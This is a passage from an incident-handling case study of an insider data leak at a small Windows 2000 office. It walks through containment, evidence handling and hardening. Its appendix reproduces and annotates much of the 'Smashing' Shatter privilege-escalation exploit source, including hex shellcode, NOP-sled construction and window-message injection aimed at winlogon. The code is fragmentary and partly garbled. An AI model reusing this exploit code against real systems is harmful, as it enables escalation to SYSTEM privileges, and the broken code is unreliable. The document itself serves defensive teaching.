There is also an “IT Consulting Service” on call that would charge hourly rates for any rapid response to the company required. However, this is the same service that built the hardware, so for hardware support they were a critical part of the communications tree.

Supplies

Since there was no Incident Handling Process documented, we relied on the supplies that the Network Admin had on hand: several portable USB flash drives, a portable printer, and Ghost
In addition, we had available anything that I had in my “jump kit”. This kit is what Incident Handlers use at the first sign of an Incident – they can grab it and know that it is fully stocked.

The following is standard inventory:

<table>
<thead>
<tr>
<th>Item</th>
<th>Purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td>Panasonic RQ-L11 Mini Tape recorder, 10 blank tapes, 8 spare batteries</td>
<td>Incident Tracking and recording of actions taken</td>
</tr>
<tr>
<td>Two blank notebooks, 4 spare pens</td>
<td>Each incident gets its own notebook assigned for analysts and handler’s notes</td>
</tr>
<tr>
<td>Canister of blank writable CDs and jewel cases</td>
<td>Evidence collection &amp; backup</td>
</tr>
<tr>
<td>Blank diskettes</td>
<td>Evidence collection &amp; backup</td>
</tr>
<tr>
<td>USB pen device</td>
<td>Evidence collection &amp; backup</td>
</tr>
<tr>
<td>Portable CD writer, software, associated cables</td>
<td>Evidence collection &amp; backup</td>
</tr>
<tr>
<td>Symantec’s Ghost and images of production workstations</td>
<td>For rebuilding Windows 2000 workstations</td>
</tr>
<tr>
<td>Windows 2000 Resource Kit</td>
<td>For information on Windows 2000/associated source code/etc.</td>
</tr>
<tr>
<td>4 port hub with patch cables and one crossover cable</td>
<td>For connectivity to machines as needed</td>
</tr>
<tr>
<td>Basic Toolkit (contents described below)</td>
<td>For fixing</td>
</tr>
<tr>
<td>Basic Connector Bag (contents described below)</td>
<td>For connectivity issues on the fly</td>
</tr>
<tr>
<td>CD Travel case containing: Windows 2000 boot disks</td>
<td>For rebuilding Windows machines, assessing security infrastructure, responding to incidents. Contents of CDs described below.</td>
</tr>
<tr>
<td>Windows 2000 OS Media</td>
<td></td>
</tr>
<tr>
<td>Windows 2000 released patches (MSDN updates)</td>
<td></td>
</tr>
<tr>
<td>Windows 2000 response CD</td>
<td></td>
</tr>
<tr>
<td>Vulnerability and Assessment Tools CD</td>
<td></td>
</tr>
<tr>
<td>Windows diskette with basic tools (same as command line processes on CD)</td>
<td>For accessing Windows machines</td>
</tr>
<tr>
<td>Incident Response Forms</td>
<td>Standard Incident Response Procedure</td>
</tr>
<tr>
<td>Plastic bags, ties, latex gloves</td>
<td>Evidence preservation</td>
</tr>
</tbody>
</table>

**Basic Connector Bag Contents**

- Auto-retract modem cord
- Auto-retract network/ISDN cord
- Punchdown tool with both 66 and 110 blades
Scissors
Wire Strippers
Toner
Digital line tester
Jack splitter
RJ45 Connectors
Female-to-female RJ-45 connectors
Cabling guide to pinouts

**Basic Toolkit Contents**

In addition to the jump bag, I have my own laptop which is stocked with it’s own modem/LAN/wireless ports, and comes stocked with my own fully patched operating system, virus scanner, Microsoft Office, and Microsoft Tool Kit.
Documentation

This is where the network diagram, the information on the software and hardware inventory, and policies became very important! In order to quickly assess a network, up to date information on the components that is easily accessible is critical. The fact that the hardware and software inventories were kept in soft copy were an asset because electronic access to the systems were not required to get the high-level view of the network.

Documentation of the ISP Technical contact is requested in case that it is needed.

In addition, we followed standard chain-of-custody procedure, which included documenting:

- Who, How, and Where of collection
- Who took possession of the evidence
- How it was stored and protected
- Who, How, and Why of removal from storage

<table>

</tbody>
</table>

Further recording will continue throughout the incident handling process. To call attention to something in particular, the notes taken will be indicated in blocks throughout the phases.

Phase 2: Identification

This phase is when an organization determines whether an incident is, in fact, occurring. A quick assessment of situations where something unusual happens is necessary to determine if additional investigation is necessary. The security of a system is determined by early detection and proper reaction.

Unfortunately, the identification of an insider threat in many cases occurs after the threat has come and gone. In this case, the posting of “confidential” data in the public eye became the notification that something was wrong. During this phase, an assessment of the threat is done to discover what the impact to the company may be. I was called on a Friday – could I stop by Monday to assess the situation? No. It would be Friday night. Even if the data exposure was a contained event, it is time to see what the scope of the incident is. Since the CEO and Network Administrator already knew about the data revelations (as did the entire company), nobody was surprised that an investigation was underway.
As the data in question is fairly self-contained (it was either retrieved from a backup CD or from the victim machine) it is time to do an internal threat assessment.

During the Incident Handling process, the people involved are: the CEO, the Network Administrator, and the Admin Assistant to the CEO, in addition to the Incident Handler. All three of the people involved are trusted individuals at the company who have proven again and again their dedication to the company. They are the company “insiders” who are the ones the CEO (and owner) consider to be the secure employees. None of them are a suspect.

**Threat Assessment**

*Have background checks been performed on all employees?*  
(None beyond what references say about them.)

*What are the work habits of the employees?*  
(Every day Receptionist fills in for Assistant from 12 – 1:00 for lunch. Assistant logs out of the machine and Receptionist logs in. Fridays, Assistant backs up data and leaves CD on CEO’s desk. If the CEO remembers to take the CDs, they are in his car or his office at home; but sometimes they remain on his desk for a few days, especially if he is traveling at the time.)

*An after-hours visit is performed to see what is on/around desks of the employees.*  
Nothing is out of the ordinary. There don’t seem to be any removable storage devices, and there is no actual suspect at this time.

*An inventory of backup CDs is performed to ensure that all are where they should be.*  
The data posted included the very latest data – which means the last CD needs to have been the point of entry if it was retrieved from the backups. All CDs are accounted for at the CEOs house. He remembers taking it home on Friday evening.

It’s time to review the target machine and the network to find holes and access points to the data.

**Current activity on the systems needs to be recorded.**  
Each currently connected system runs `netstat -an` and the results are printed to a file to evaluate current connections. All open files on the systems are recorded and task manager is opened: all open applications and processes for each machine is recorded.

Task manager can be opened by right clicking on the status bar at the bottom of a Windows system and selecting “Task Manager.” This will bring up a window, and by clicking on the tabs at the top of the screen, certain information can be discovered. In this case, we simply took screen shots of each of the tabs on the running systems, which resulted in records similar to this:
All screenshots are recorded with system name, location, time and date of screen shot,
as well as the person recording the information. They are saved to a file and one copy of the file is burned to CD and locked up with the backup tapes.

The following checklist was used to evaluate the current state of the systems – was there evidence of any of the following?

- Unsuccessful logons
- After hours activity
- Modification or deletion of data
- New user accounts
- New files or filenames

Identification phase would typically take place at the perimeter – firewall logs are investigated for any unusual activity. Host detection is also a place to start, although there are no Host IDS or Network IDS in place. However, the Network Administrator did take some steps on the CEO and the Admin’s computer that were different than the standard desktop scenario – the auditing of Windows logs and transactions tracked had been set to success/failure for most events. This means that the logs had additional information than what would be typically found on a desktop. Hooray!

Investigation of suspect issues

Since the operating system of the machines are at SP3 of Windows 2000, an analysis of vulnerabilities that would be common to all machines needs to be done. Vulnerabilities are referenced off of CVE codes, BugTraq database and Microsoft’s release notes on the SP 4. The platform affected by these vulnerabilities is prevalent throughout the organization. According to Microsoft’s List of Bugs That Are Fixed in Windows 2000 Service Pack 4, there are 679 bug fixes in Service Pack 4. Since all the machines are a rev level behind, this seems like a good place to start. Once the Windows investigation is over, other software, such as VirusScan will be checked against the BugTraq database.

Of the bug fixes, about 100 show up in the “security” category. However, it is important to check the entire list since not everything security related shows in this category. The list is “Googled” by the Admin Assistant to find the appropriate references and decide whether the bugs represent vulnerabilities on the system. She makes a quick decision as to whether it applies to our environment, checking key words within descriptions and marking Y or N or ? on the list. The containment phase (phase two) starts and continues throughout the research portion. See Appendix B for the matrix of possible entrant vulnerabilities that were flagged. When appropriate vulnerabilities are found, the basic questions are asked: what are the affects of this vulnerability, does it have a remote access point, and is there code available to the public at large to exploit the vulnerability?
In addition, the ability to identify the entrant point became more obvious as the company went through steps to contain the incident.

**Phase 3: Containment**

The containment phase is to ensure the incident cannot get worse. Can additional data be accessed? Is the access still going on? While performing this phase, we will use some of the tools listed in the jumpkit during the Preparation phase.

**Containment: Connections**

The firewall status is checked and it shows no current connections. It is after hours, and there should be no external access from the Internet, so the firewall is shut down to ensure that no incoming/outgoing connections are activated. Research on vulnerabilities is conducted on dial-up analog lines off laptop computers not connected to the LAN, so there is no way for them to affect the evidence that may be in play.

Record the decision to disconnect the firewall and the time it was disconnected

**Containment: Physical Access**

It is after-hours, and the area is secured. The only people allowed in/out at this time are the Incident Handler, the Network Administrator, the Admin Assistant, and the CEO.

**Containment: Backing it all up**

The network is now contained, so backups of all functioning systems are conducted with Ghost to a USB drive. There are three systems currently powered on: the CEO’s desktop, the Admin’s desktop, and the Network Administrator’s laptop. We’ll start the investigation with those, since those are on – everything else we can power on and backup individually as the incident progresses. Two backups of each system are taken: one for evidence – these are logged and immediately locked in the firesafe. The second backup is in case our investigation leads to a “self destruct” or some effort of the attacker to hide tracks on the system. The second backup is done to the network server. In addition two backups are made of the server using the backup system in place: one is placed with the evidentiary backups, the other is maintained for our use in the investigation.

Now we have three USB backups, a tape backup, and 3 backups on the network server.

Record system backup statistics: who performed, date and time of start and stop, where
backups were sealed and stored.

Further Investigation

First, the “owners” of the three systems under evaluation were questioned:

- When was the last time their passwords were changed?
  Each of them responded within the past 30 days. Passwords are the primary
  authentication method within the office, it is possible something was
  compromised. Each user is asked to change passwords, and the Network Admin
  is requested to change the Administrator passwords on these systems as well.

- What shares are open?
  The Network Admin has shares open to the fileserver. Both the CEO and the
  Admin Assistant have the share open to their own backup directory on the
  server.

- What can the systems tell us?
  Since the Network Admin had additional audit logs available on the systems
  currently powered on, all those audit logs are immediately saved to a file and
  printed – one set of printouts is logged as evidence and stored in the firesafe.
  Because they have been saved to a file, we ensure that they do not rotate and
  eliminate the risk of losing data during the investigation. The logs are printed to a
  local printer via the portable printer, if there is no printer currently attached to the
  machines

- Had anything unusual happened recently that would lead them to suspect their
  machines were the entry point?
  No. The Network Administrator hadn’t even gone to lunch in days. The CEO’s
  machine had been powered down until Friday, he had been traveling. The
  Admin Assistant had been at her desk almost all day all week, except for
  lunchtimes when the receptionist filled in. None of them had noted unusual
  behavior on the systems – no account lockouts, no odd user names in the
  window at logon, no system slowness or unusual behavior.

Record system log information: who performed the print and save functions, date and
  time, where logs were sealed and stored, who handled.

What Windows Event Log Reveals

Reviewing the logs was not very interesting until we noted the following strange
entries in the Security logs from the Admin Assistant machine:

It seems we may have found the point of access. If we follow events in order, we can see that the suspect first tried to access files that she was not authorized to view. This was followed rapidly by access to the same protected file structure by a privileged user that included reading, directory traversal and writing the files elsewhere. In trying to discover the means of attack, I log in as the “Guest” account to the machine and click on the “drop box” for the run command:

![Run dialog box](image)

This will give me a list of anything that was attempted to be run through this system function. The only thing that appears is cmd.exe. There is no reason the guest account would be running this function.

All of this information is saved to a file, and copied off and stored in a firesafe with the notation of when the information was gathered, who gathered it, and who transported it to the firesafe. The same information is also recorded in the notebook. That means that is time to try to figure out how the penetration was executed. What else can we find? A search of the hard drive against the last GASP report of executables and installed software does not reveal anything new residing on the hard drive.

A meeting of the Admin Assistant, CEO, Network Administrator and Incident Handler is held to discuss the Insider Threat. Because of the probability of an “inside job”, proper handling of the logs and the evidence becomes more important when we remember that “evidence” can be used as defense as well as prosecution. While the CEO may not want to press criminal charges, all of the data collected here may be used as defensive evidence if the employee pursues “wrongful termination” or other personnel-related lawsuits. The CEO is advised to seek advice from legal counsel on what additional materials may be required in personnel-related matters.

The logs don’t tell us much, how can we avoid the problem from happening again?

**Phase 4: Eradication**

In this phase, cause and symptoms are determined to decide the best way to ensure the ongoing confidentiality, integrity, and availability of the company’s data. Because the data confidentiality has already been compromised, action needs to be taken immediately to ensure that similar reveals cannot happen again.
What we have discovered during the last two phases is that some sort of privilege escalation must have occurred. Things were being done on the system during the time the GUEST user was logged on that should not have been accessible. Although the logs show access to the Protected files, it is unclear what else may have fallen victim to the attack. There is no guarantee that this privilege elevation did not result in the planting of malicious code like a trojan or backdoor.

Because the Receptionist is the likely suspect, her badge access is revoked and she will have to ring the bell for access on Monday morning. She will then be escorted to the CEO’s office, where she will be interviewed to get her version of what occurred. What, where, when, why and how will all be addressed at that time. How long has this access been happening? Our logs rotated frequently, so building a history without input from the suspect is not possible, and assessing the damage is also difficult without knowing the “what and why”.

What do we do with the victim system?

Discussion ensues with the CEO, Admin Assistant, and Network Administrator. The Admin Assistant assures me that her critical data has been backed up and anything remaining on the drive is not necessary. The decision is made to rebuild the system from scratch, to ensure the ongoing functionality and eliminate the possibility of further damage to the system by a planted malicious code or other undetected fragment.

Upgrading Security of the Systems

Standard Defense Improvements

Standard Best Operating Practices are done on all systems at this time. This means that each system has to be powered on and evaluated, to ensure that a similar compromise cannot be repeated at another station. The following steps are taken immediately:

- All of the Operating Systems are patched to the current patch level
- The AV signatures are all updated, and a more current version of the software is recommended
- A vulnerability analysis is performed: Nmap is used to list interesting ports, and N-Stealth Security Scanner. One machine with unauthorized IIS services is found to be running, these services are removed from the machine.
- Every password is changed, and password enforcement is set so that passwords must be 6 characters and changed every 30 days on all accounts, except “Guest” accounts. “Guest” accounts are not permitted to change their own passwords
- Password protected screen locks are put on all systems: system will lock after 10 minutes of idle time
- All unnecessary services are disabled on the desktops
• All administrator and guest accounts are renamed, removed, or disabled. User accounts are removed from “Administrator” grouping so that administrative duties would require a separate logon.
• All Administrative tools and utilities are locked down so that only the administrator account can access them.
• A new GASP cycle is started and new software inventories are conducted on each machine, and compared against the reports from last cycle for any unexpected discrepancies.
• Current patches are applied to the firewall router device, and an evaluation of the current ruleset in place at the firewall is made.
• Because the office is not overly large, the CEO insists that Dameware Mini-RemoteControl be removed from all systems. The Network Admin should visit each machine to apply patches, giving him an opportunity to survey the scene for unusual activity or other information that may not appear on a remote desktop.
• More recommendations are made to improve security based in the Recovery section.
• The Backup Schedule is revised so that backups are taken nightly. Since the critical applications (the financial one) reside on the server, this is an appropriate measure. A new tape will be backed up Monday – Friday and an off-site backup will be taken on Saturday. Each backup will represent a full backup, no incremental backups will be taken. One Daily tape will be rotated out each month as a weekly backup, to minimize wear and tear on the tapes.
• Windows Logs are put on “do not overwrite” and a task scheduler is set to place the critical logs on the server and then clear the logs. Auditing at individual workstations are setup for failure and success on critical points. Tools for reading and processing Windows event logs will be investigated.
• Clocks on all systems are synchronized to ensure logging is consistent for activity throughout the enterprise.

Phase 5: Recovery

The recovery phase is when all systems are put back into service and tested. Additional steps are usually taken during this phase to ensure system security for the future.

Systems are returned to functioning roles, including the router/firewall. Some discussion takes place as to whether this is wise: if a fragment for continued access has been planted, then the inability to access it will tip the Receptionist that her work has been discovered. The CEO accepts that risk, but contracts an armed guard to patrol the building for the remainder of the weekend, in order to prevent the suspect from performing further damage from company grounds. Outgoing Internet connections are established and checked to ensure all is functioning as expected.

The Admin Assistant calls the Payroll provider 24-hour hotline to run test runs and ensure that her applications on the rebuilt system are working as expected. Both the
CEO and Network Admin go to each station to check the functionality of the programs and ensure that everything is fully operational. A question remains regarding the banking software in the CFOs office: this will be tested Monday morning to ensure that it has not lost any functionality.

The CEO decides that with the exception of the Receptionist, the rest of the office should be business as usual on Monday morning. It is recommended he consult with counsel, and if necessary have them present Monday morning. The Network Administrator agrees to be on call to present findings to the counsel prior to Monday if it is warranted.

Because the security is not adequate on the system, the following recommendations are made:

- Train the Network Administrator on Windows Security. The SANS Securing Windows course is recommended. Prior to the course, the SANS Securing Windows 2000 Step by Step Guide should be read and appropriate first measures should be taken for locking down the system.
- An Intrusion Detection System is recommended. Because budget is an issue, and it is a quality system, Snort is recommended for implementation.
- An employee education program is in order – since all the employees knew of this incident, a briefing and orientation to computer security is a logical requirement at this time.
- A legal review of policies and procedures currently in place should be contracted.
- The GASP inventory should be implemented more frequently.
- Background checks on all employees are recommended, and this will become a policy to perform these prior to new hires.
- A schedule for monitoring for patches, hotfixes, and service packs that are available is recommended.
- The evaluation of the “IT Consulting Service” agreement and contract is recommended. Either training someone to assist the Network Admin, hiring a relief, or outsourcing security issues is recommended.
- Research whether the current AV solution continues to be appropriate for the company. Check posted vulnerabilities against the product and make a proposal either to upgrade to the current release or switch vendors, if that is appropriate. CEO guarantees funding for this project.
- Revisit how banners are being supplied: check with counsel to make sure they meet current needs, if possible eliminate batch file executions on startup for a solution more integrated with Win2K.

**Phase 6: Lessons Learned**

This is the phase in which the Incident Handling process is discussed, and the learning experiences uncovered during the situation can be evaluated and, if necessary, put into practice.
A follow-up report is drafted by the Incident Handler and the Network Administrator. This report incorporates the notes in the notebooks and the notes on the tape recorder to capture all activities and observations that occurred. The meeting is scheduled for Monday afternoon, so that the interview with the suspect and resulting answers can be included in the report. Because it is now pretty late on Saturday, everyone is assigned to go home and rest.

Among the things noted in the report are all the notations made in boxes, this will help legal counsel follow the chain of events from the time the incident handling scenario began.

The recommendations in the previous sections are included in the report to ensure that they are budgeted and easily followed up.

Since there was no Incident Handling Procedure in place, it is hard to evaluate the process against other Incidents. However, budgets are made to improve the processes and the technology. For the processes, training is planned and policy evaluations are made. An Incident Response form is designed, and the CEO has asked the Network Admin and Administrative Assistant to put in place a response plan for incidents. On the technology side, upgrades to several systems are planned, earlier than the 5 year cycle originally budgeted. A meeting is scheduled with the ISP to discuss whether the current infrastructure meets the growing needs, and a new connection to the Internet is being evaluated. With that connection, appropriate technology: new firewall/router/IDS will also be evaluated.

**Conclusions**

Not all threats to information security come from the outside world, nor do they require the expertise of a “hacker” to perform. The exploit outlined here can easily be performed by anyone with a CD and 5 minutes of access to your system. Even within the smallest organization, security issues will arise, and having the means to deal with them is something that they must ensure in order to meet the criteria of “standard business practice.” Proper techniques to deal with security for a small organization do not have to be expensive – but they do have to be done!

The insider threat is something that often cannot be detected through perimeter protection measures. Once a bad guy” has access to the system, that is a problem. The problem is that more and more companies are reporting that the “bad guy” has had access to the system all along. Effective pre-employment screening, maintaining employee morale, and maintaining communication and training with employees may be the only means of defense against the insider threat.

The Shatter attack is just one way of performing privilege escalation. Without additional information, it is hard to say whether this is actually the method used during the actual
attack. For an insider threat incident, the post-evaluation with the suspect becomes critical. This will help gauge the “How, why, where and when” that can only be left to speculation otherwise. Of course, take this information with a grain of salt – because who knows if this employee that has compromised the systems will pick this point in time to be honest and ethical.

Remember that evidence gathering does not only protect the possibility of prosecution should you wish to press criminal or civil charges, but it could protect the company from employee lawsuits in the event of an insider threat. Following general chain of evidence guidelines and documenting every step is critical to a successful handling of an incident.

Finally, maintaining the information on patches and vulnerabilities within the systems of an organization and staying abreast of the latest threats is critical to securing an organization of any size. This means not only protecting against whatever the latest virus is that media is touting, but understanding the vulnerabilities that may exist in the underlying infrastructure of the systems that you have chosen to build your organization’s future upon.
Appendix A: Code Decoded

My section headers are contained within boxes
Coder's comments are contained after // comment markers.

**Code includes (Pragmas)**

```
#include <stdio.h>
#include <windows.h>
#include <psapi.h>
#include <tlhelp32.h>
```

**Step 5a:**
Create basic shell code

```
char BasicShellcode[] =
"\xeb\xc3\x5b\x53\xb9\x00\x00\x00\xff\xd1\xc9\xb1\x0c\x43\xe2\xfd\x53\x50"
"\xb9\x00\x00\x00\x00\xff\xd1\x89\xc6\x31\xc9\x51\x68\x6f\x70\x65\x6e\x41\x51\x49"
"\x51\x51\xb1\x0e\x43\xe2\xfd\x53\x89\xe3\xb1\x10\x43\xe2\xfd\x53\x51\xff\xd6\x58"
"\x58\xc3\xe8\xbf\xff\xff\xff\xff\x73\x68\x65\x6c\x6c\x33\x32\x2e\x64\x6c\x6c\x00\x53"
"\x68\x65\x6c\x6c\x45\x78\x65\x73\x74\x65\x41\x00"
```

#define ShellcodeLen 93  // Have to #define this since we can't do strlen(BasicShellcode) - it contains null bytes.

**Step 5b:**
Allocate memory

```
void MakeSploit(char *ProgName)
{
    DWORD GPA,LL;
    char *Sploit = malloc(500000);
```

**Step 5c:**
Obtain the address of the function in the DLL so that it may be called by
address instead of name, then obtain the windows handle of the DLL which is a required parameter to call the function. Add these addresses to the basic shell code in the “null value” fields.

//Add the addresses of GetProcAddress and LoadLibrary into the shellcode.
//We do it this way to avoid having to figure them out - after all, this is a local sploit...
GPA = (DWORD)&GetProcAddress;
LL = (DWORD)&LoadLibraryA;

memcpy(BasicShellcode + 5, &LL, 4);
memcpy(BasicShellcode + 21, &GPA, 4);

**Step 5d:**
500000 NOP block created

//Half a meg of NOPs. Window captions - MMMmmmmmmmm.....
memset(Sploit, 0x90, 500000);

**Step 5e:**
Debug tag : FOON

//Copy in the shellcode.
//Stick a FOON tag at the beginning of the NOP block so we can find it with a debugger if we need to.
*(Sploit + 499999 - strlen(ProgName) - ShellcodeLen) = 0;
*Sploit = 'F';
*(Sploit + 1) = 'O';
*(Sploit + 2) = 'O';
*(Sploit + 3) = 'N';

**Step 5f:**
Load into memory 499998 minus shellcode (93) minus program name (cmd.exe) +1 which will equal half a meg. – This is where we build the exploit code that will be executed!

//And copy in the sploit at the end.
memcpy((Sploit + 499998 - strlen(ProgName) - ShellcodeLen - strlen(ProgName)), BasicShellcode, ShellcodeLen);
memcpy((Sploit + 499998 - strlen(ProgName)), ProgName, strlen(ProgName) + 1);

FullShellcode = Sploit;
}

**Step 8:**
Function to send to a thread (if you are attacking threads)

// Send shellcode to a thread
void SendShellcodeT(DWORD ThreadID)
Step 8:
Function to send to a window (if you are attacking Windows)

// Send shellcode to a window
void SendShellcodeW(HWND Window)
{
    DWORD Callback;
    if (!UseMBox)
    {
        if (!SendMessageW(Window,WM_SETTEXT,0,(DWORD)FullShellcode))
        {
            printf("WM_SETTEXT failed, window %x\n",Window);
            return;
        }
    }
}

Step 7-9:
Callback instructions being sent. These instructions are stepping through memory address between 0x300000 and 0x800000, in steps of 450000 (note switch from hex to decimal) send callbacks. If it hits our NOP code, then the hack will be successful!

for (Callback = 0x300000; Callback < 0x800000; Callback += 450000)
{
    if (CommandSent) return;
    if (Verbosity == 2)
        printf("Sending callback, window 0x%x, address 0x%x\n",Window,Callback);
    if (PostMessageW(Window,WM_TIMER,999,Callback))
        Sleep(100);
}

// Callback function for EnumThreadWindows
BOOL CALLBACK ThreadWndCallback(HWND Handle, LPARAM EnumerateOnly)
{
    if (CommandSent) return FALSE;

### Beginning of main code

```c
void main (int argc, char *argv[])
{
    char User[128];
    DWORD Mode = PIPE_READMODE_MESSAGE;
    DWORD Length = 128;
    HANDLE PipeHandle;

    Step 3:
    Smashing first determines the username and what privileges it currently has.

    GetUserSid(&User[0],&Length);
    //If we have LocalSystem, there's two options. Either we're the result
    //of a successful exploit,
    //or someone wants to do some enumeration as LocalSystem (different
desktop maybe?).
    //If we've been renamed to smashenum.exe, assume we're just
    enumerating.
    if (!stricmp(User,"SYSTEM") && !strstr(argv[0],"smashenum"))
    {
        // We have LocalSystem.  Read parameters from named pipe.
        BOOL Pipe = TRUE;  // Are we actually reading from a pipe?  Set to
false if we've failed over to a file.
        DWORD BytesRead;
        char *Buffer = malloc(1024);
        BOOL Interactive = FALSE;  // Do we want to force
winsta0\default?
        char *Parms = malloc(1024);
        STARTUPINFO SInfo;
        PROCESS_INFORMATION PInfo;

        Step 4:
        See if pipe is open, and can the program “smashing” communicate with
it?

        // Try to connect to the pipe.
        PipeHandle =
CreateFile("\\\\\pipe\shatter",GENERIC_READ|GENERIC_WRITE,0,NULL,
OPEN_EXISTING,0,NULL);

        if (PipeHandle == INVALID_HANDLE_VALUE)
        {
            // Named pipe has failed.  Try to read parameters from a
file..
            Pipe = FALSE;
            printf("Unable to create named pipe!\n");
            PipeHandle =
CreateFile("c:\smashing.txt",GENERIC_READ,0,0,OPEN_EXISTING,0,0);
        }
```
printf("ERROR: Unable to open parameter file, error %d!\n", GetLastError());
    // If we've got an error, don't return. We want to be able to read the error message...!
}
else
{
    if (!SetNamedPipeHandleState(PipeHandle,&Mode,NULL,NULL))
    {
        printf("Error %d setting pipe state\n",GetLastError());
        // If we've got an error, don't return. We want to be able to read the error message...!
    }
}

    // Fortunately, a pipe handle is a file handle, so use the same functions to read from it.
    if (ReadFile(PipeHandle,Buffer,1024,&BytesRead,NULL))
    {
        *(Buffer+BytesRead) = 0;
    }
else
{
    if (Pipe)
    printf("Error %d reading from pipe!\n",GetLastError());
    else
    printf("Error %d reading from file!\n",GetLastError());
}

    CloseHandle(PipeHandle);
    if (!Pipe)
    DeleteFile("c:\smashing.txt");

    //Parameters are all now stored in Buffer. Check if \i was specified.
    if (strstr(Buffer,"\n"))
        Interactive = TRUE;

    //All good. Create the process.
    SInfo.cb = sizeof(STARTUPINFO);
    SInfo.lpReserved = 0;
    if (Interactive)
    {
        SInfo.lpDesktop = strstr(Buffer,"\n") + 1;
        *strstr(Buffer,"\n") = 0;
    }
else
    SInfo.lpDesktop = NULL;
    SInfo.lpTitle = 0;
    SInfo.dwFlags = 0;
    SInfo.cbReserved2 = 0;
SInfo.lpReserved2 = 0;

if (!CreateProcess(0, Buffer, 0, 0, TRUE, CREATE_NEW_CONSOLE, 0, 0, &SInfo, &PInfo))
{
    printf("CreateProcess failed, error %d", GetLastError());
}
else

Step 11:
Open Smashing pipe

{
    // Low privs so far. Hack stuff :) 
    BOOL Interactive = 0;
    BOOL Bruteforce = 0;
    BOOL WindowEnum = 0;
    char *Buffer = malloc(1024);
    char CurrentProcess[256];
    DWORD *PIDs = malloc(4000);
    DWORD Returned;
    DWORD TargetPID = 0;
    DWORD ThreadID;
    HANDLE ThreadHandle;
    int PIDsHacked = 0;
    BOOL EnumerateOnly = 0;

    This is where it displays the options for the command line and checks to make sure at least two have been specified.
    //Whatever happens, we need our named pipe up and running ASAP.
    //Parse command-line and pass it to the thread
    if (argc < 2)
    {
        printf("Smashing v1.07 by Foon - ivegotta@tombom.co.uk\n")
        printf("Usage: Smashing [options] <Command line>\n");
        printf("Options: \n");
        printf("/i = Target process should be interactive\n");
        printf("/t = Send messages to threads instead of processes\n");
        printf("/m = Inject shellcode though a message box\n");
        printf("/e = Enumerate only, no exploiting\n");
        printf("/v = Verbose - repeat for very verbose\n");
        printf("/p:PID = Process ID to exploit\n");
        printf("/b = Bruteforce attack against all PIDs\n");
        printf("/w = Bruteforce attack against all windows\n");
        printf("NOTE: /p /b and /w options are mutually exclusive!\n");

                #ifdef _DEBUG
                printf("Bruteforce switch specified\n");
                #endif
                break;

            default:
                break;
        }
}
No options that were recognized were entered, process defaults start here.

{ 
    int Parm; 
    for (Parm = CurrentParm; Parm < argc; Parm++) 
    { 
        strcat(Buffer, argv[Parm]);
        strcat(Buffer, argv[Parm]);
        CurrentParm++; 
    } 
    break; 
}

else 
{
    Process the options and parameters that were recognized. 

    { 
        int Parm; 
        for (Parm = CurrentParm; Parm < argc; Parm++) 
        { 
            strcat(Buffer, argv[Parm]);
        } 
    } 

Step 4:
If you are not running enumerate only, create a pipe to use for getting information from the threads – this is where we have started to perform the exploit.

```c
strcat(Buffer," ");
CurrentParm++;
Commands++;
}
}
if (!Commands && !EnumerateOnly)
{
    printf("ERROR: no command found!\n");
    return;
}

if ((TargetPID && Bruteforce) || (TargetPID && WindowEnum) || (Bruteforce && WindowEnum))
{
    printf("ERROR: Only specify one of the /p /b and /w switches!\n");
    return;
}
}
if (Interactive)
{
    strcat (Buffer,"\nWinSta0\nDefault");
}
else
{
    char Name[128];
    int SizeNeeded;
    strcat(Buffer,"\n");
    GetUserObjectInformation(GetProcessWindowStation(),UOI_NAME,&Name,128,&SizeNeeded);
    strcat(Buffer,Name);
    GetUserObjectInformation(GetThreadDesktop(GetCurrentThreadId()),UOI_NAME,&Name,128,&SizeNeeded);
    strcat(Buffer,"\n");
    strcat(Buffer,Name);
    if (Verbosity)
        printf("Command to send to pipe (%d bytes):\n%s\n",strlen(Buffer),Buffer);

    //Start the pipe in another thread.
    if (!EnumerateOnly)
    {
    
```
ThreadHandle = CreateThread(0,0,&PipeProc,Buffer,0,&ThreadID);
    if (!ThreadHandle)
    {
        printf("FATAL: Unable to create pipe thread, error
%d\n",GetLastError());
        return;
    }

    //Retrieve command-line for Smashing
    //TODO: Cope with running Smashing from the path rather than current directory
    if (!strstr(argv[0],":\"))
    {
        GetCurrentDirectory(256,&CurrentProcess[0]);
        strcat(&CurrentProcess[0],"\"");
        strcat(&CurrentProcess[0],argv[0]);
    }
    else
    {
        sprintf(&CurrentProcess[0],"%s",argv[0]);
    }

    Step 5:
    Call the function to build the FullShellCode Exploit Data.

    // Make shellcode into a full sploit.
    MakeSploit(&CurrentProcess[0]);
    if (UseMBox)
    {
        //Set up a message box containing our shellcode.
        //It's mapped into every process on the desktop, so we don't need to SetWindowText() ;)
        // Call MessageBox() from another thread so we don't get blocked.
        if (!CreateThread(0,0,&MBProc,Buffer,0,&ThreadID))
        {
            printf("FATAL: Unable to create message box thread, error %d\n",GetLastError());
            return;
        }
        else
        {
            int SleepTime;
            HWND MBWindow;
            if (Verbosity)
                printf("Message box thread created OK\n");

            //Find the message box window.
            //Might take a second or two, so sleep a little.
            //Check every 10 ms though, so it's not visible for long.
            for (SleepTime = 0; SleepTime < 300; SleepTime++)
            {
                MBWindow = FindWindow(0,"SMASH ME BABY!");
            }
        }
If using Window Enumeration attack, call the function EnumWindows to perform the attack.

if (WindowEnum)
{
    // We're attacking through window enumeration.
    BOOL Result;
    if (EnumerateOnly)
        Result = EnumWindows(&EnumWndCallback,1);
    else
        Result = EnumWindows(&EnumWndCallback,(LPARAM)&CurrentProcess[0]);

    if (!Result)
    {
        printf("ERROR! Window enumeration failed (Code %d)!\n",GetLastError());
        return;
    }
}

If you are not using Windows Enumeration, check to see if we have already found the correct Process ID to hack.

//Find PID to hack. If it's specified on command line...
else if (TargetPID)
{
    HackProcess(TargetPID, EnumerateOnly);
}
else
Otherwise search for the target Process ID to attack.

```c
// We have to iterate through processes.
{
    if (EnumProcesses(PIDs, 4000, &Returned))
    {
        DWORD CurrentPID;
        for (CurrentPID = 4; CurrentPID < (Returned / sizeof(DWORD)); CurrentPID++)
        {
            DWORD PID = *(PIDs + CurrentPID);
            if (CommandSent) break;
            // Iterating through all PIDs.
            if (Bruteforce)
            {
                // We're bruteforcing. Hit every PID on the system, except us...:
                if (PID != GetCurrentProcessId())
                {
                    HackProcess(PID, EnumerateOnly);
                    PIDsHacked++;
                }
            } else
            {
                // We're trying to find winlogon.exe...
                HANDLE ProcHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, PID);
                if (ProcHandle)
                {
                    HMODULE ModHandle[100];
